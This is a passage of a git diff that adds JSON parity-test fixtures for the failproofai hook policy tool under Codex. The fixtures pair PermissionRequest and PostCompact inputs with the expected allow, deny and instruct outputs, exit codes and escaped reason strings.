"/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d95fff78 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8e0e1463 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a571a8a4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bad60f3d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..36b3361c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..61b7a4bd --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b302bd7b --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..74c134a2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2ad1d7fc --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8f5d7338 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6301abc9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..852da622 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cbf49205 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..18f64d99 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f27d6830 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4a1eab50 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..97d86be6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..60b51fb1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7131297a --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + 